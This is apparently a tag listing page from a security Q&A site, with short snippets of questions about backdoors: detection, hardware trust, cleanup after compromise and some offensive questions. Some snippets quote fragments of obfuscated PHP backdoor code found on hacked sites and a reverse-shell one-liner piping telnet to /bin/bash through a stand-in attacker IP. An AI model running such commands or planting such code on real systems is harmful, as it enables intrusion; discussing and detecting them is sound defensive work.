A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

learn more… | top users | synonyms

3
votes
1answer
42 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
2
votes
1answer
42 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
3
votes
1answer
50 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
11
votes
2answers
3k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
-1
votes
3answers
288 views

PHP Code Found Is It Malicious?

I found the following code on my website. What does it do? Is it malicious? Thank you. <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 ...
2
votes
3answers
714 views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
1
vote
1answer
138 views

backdoor php trojan still dangerous on my local machine?

I recently removed and fixed a lot of backdoor trojans in some files in one of my servers, and I copied those files to my local computer. But the issue is that now that I run the virus scanner on my ...
2
votes
2answers
231 views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
4
votes
0answers
48 views

software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a means to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
0
votes
1answer
233 views

What kind of backdoor can be made after hacking wi-fi? [closed]

I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch ...
2
votes
0answers
60 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
0
votes
0answers
15 views

I Use Precompiled Open Source Software. Is There a Backdoor? [duplicate]

I'm new to Linux world (3-4 months with Linux). But I did compile some programs from source and had one failed attempt to compile a custom Linux kernel. One thing that I'm wondering about is the ...
1
vote
1answer
218 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
-5
votes
1answer
100 views

IVE BEEN HACKED! [duplicate]

So i downloaded an application that was fishy that came out a couple hours ago on youtube and i was stupid and didnt scan it or anything and i let it run... blam instant security warnings and i ...
3
votes
1answer
41 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
0
votes
2answers
166 views

Running tails on a corporate computer

Is it safe to run TAILS on a corporate computer? I mean a corporate computer that has hardware cryptography and probably some backdoors; and, by safe, I mean that nobody will be able to recover what ...
-2
votes
2answers
74 views

Suspicious files in my Windows

While I am doing a quick scan for virus on Norton 360, I noticed a long stop at some files. Their names are very very suspicious. Although I can't recall all of them, one of them, which I clearly ...
0
votes
1answer
274 views

Backdoor under Akismet wordpress plugin

my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
1
vote
0answers
117 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
votes
1answer
251 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
23
votes
7answers
5k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
13
votes
1answer
7k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { ...
0
votes
1answer
153 views

Are there approaches/mechanism to detect hardware backdoors?

Background: A nice Chinese based manufacturer (AllWinner Technology Co.Ltd) produces very useful SoC used boards that often claim to be open source hardware. Question: If need be is there by way of ...
0
votes
1answer
213 views

Execute a remote PHP shell which is inside a file I dont have permission to access

Hi need some help here. I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ ...
-2
votes
4answers
147 views

How secure is it to use an open-source software [closed]

Is it possible for the developer of an open-source software to hide a backdoor without getting caught? Obviously open-source is superior to close-source when it comes to transparency, also I am aware ...
1
vote
3answers
174 views

In a company is it good to have a back door account?

Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. ...
2
votes
1answer
219 views

hparm -I /dev/sda does not report a Security section - should I be concerned?

I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase. I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a ...
1
vote
1answer
228 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
-2
votes
1answer
319 views

Backdoors and hard-coded usernames and passwords

I have been researching on computer worms that brought me to this topic of backdoors. According to my research, backdoors are malicious pieces of code that are inserted into either computers to get ...
1
vote
0answers
70 views

Local lan drive by download

Basically, I'm testing a local network, on which I'm able to use ARP spoofing. I now want to try and infect one of the Windows boxes on the network with a backdoor. I could inject an iframe into their ...
1
vote
2answers
633 views

Msfpayload: Exe within an exe?

So you can use msfpayload or msfvenom to add a payload to an existing exe, most people online seem to use reverse shell. But I was wondering if you could include a custom exe of your own design as a ...
11
votes
2answers
6k views

Detecting and removing Absolute persistance technology

Absolute persistance technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
1
vote
1answer
1k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: ...
7
votes
4answers
4k views

Is blocking UDP and TCP sufficient to prevent unwanted network activity?

I want to be 100% sure that my machine only connects where and when I want it to. If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure ...
44
votes
5answers
4k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
3
votes
1answer
2k views

Hiding backdoors in Open Source code in other languages than C and C++?

I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in ...
12
votes
1answer
5k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?
0
votes
2answers
1k views

Would IT Security professionel people notice a backdoor in Windows 7 or SBS 2011 implemented by Microsoft? [closed]

I guess you have heard of Edward Snowden. Papers around the world published that the NSA invests much time, money and effort for a »full take« of the communication around the world. Given this, it ...
4
votes
3answers
4k views

backdoors in hardware (ie. intel/amd cpu) possible? [closed]

There are several reports about hardware based attacks on IT-security as for instance those here: http://wccftech.com/intel-possibly-amd-chips-permanent-backdoors-planted-nsa/ ...
0
votes
2answers
491 views

Can AES-256 encrypted data be changed?

I have a file that supposedly contains AES-256 encrypted data. The file was created using a proprietary program that claims to use AES-256. I have tested decrypting the file with an open source ...
1
vote
1answer
3k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking ...
2
votes
2answers
119 views

Virus Removal Boot Disks — a few questions

I'm new to working with and using a backdoor/virus with a boot disk. Can they be mounted to a USB drive? What options are out there and what should I look for in one? Are they practical? Do they ...
6
votes
2answers
1k views

Backdoors after SQL injection?

I just found an injection vulnerability on a live site of a client. It looks like this: $sql = "SELECT * FROM users_dl WHERE Username = '" . $Uname . "' AND Password = '" . $Pword . "'"; I ...
4
votes
2answers
579 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
-6
votes
1answer
175 views

Hacker problems - They stole my backups [closed]

I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
5
votes
4answers
9k views

How can I detect backdoors?

I have a machine running Mac OS X and I suspect there may be a backdoor installed. I know that I could take it to a professional security firm for analysis, or nuke it from orbit, but I'm interested ...
0
votes
2answers
197 views

how to find injected code in SQL

Recently one of my sites is hacked. The hacker used SQL injection to compromise the security. After getting SQL access he injected code in many places in database. I cleaned up many of them. But I am ...
1
vote
5answers
1k views

Site backdoor & eval()

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack. ...
81
votes
7answers
4k views

How do I know a piece of software only does what the author claims?

Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security?
3
votes
2answers
1k views

I found what, I believe, is a backdoor in my home router, what should I do?

My country doesn't have any laws regarding this subject (Brazil). And I don't want to disclose it to the police, it's more likely they will just keep it to themselves. What should I do?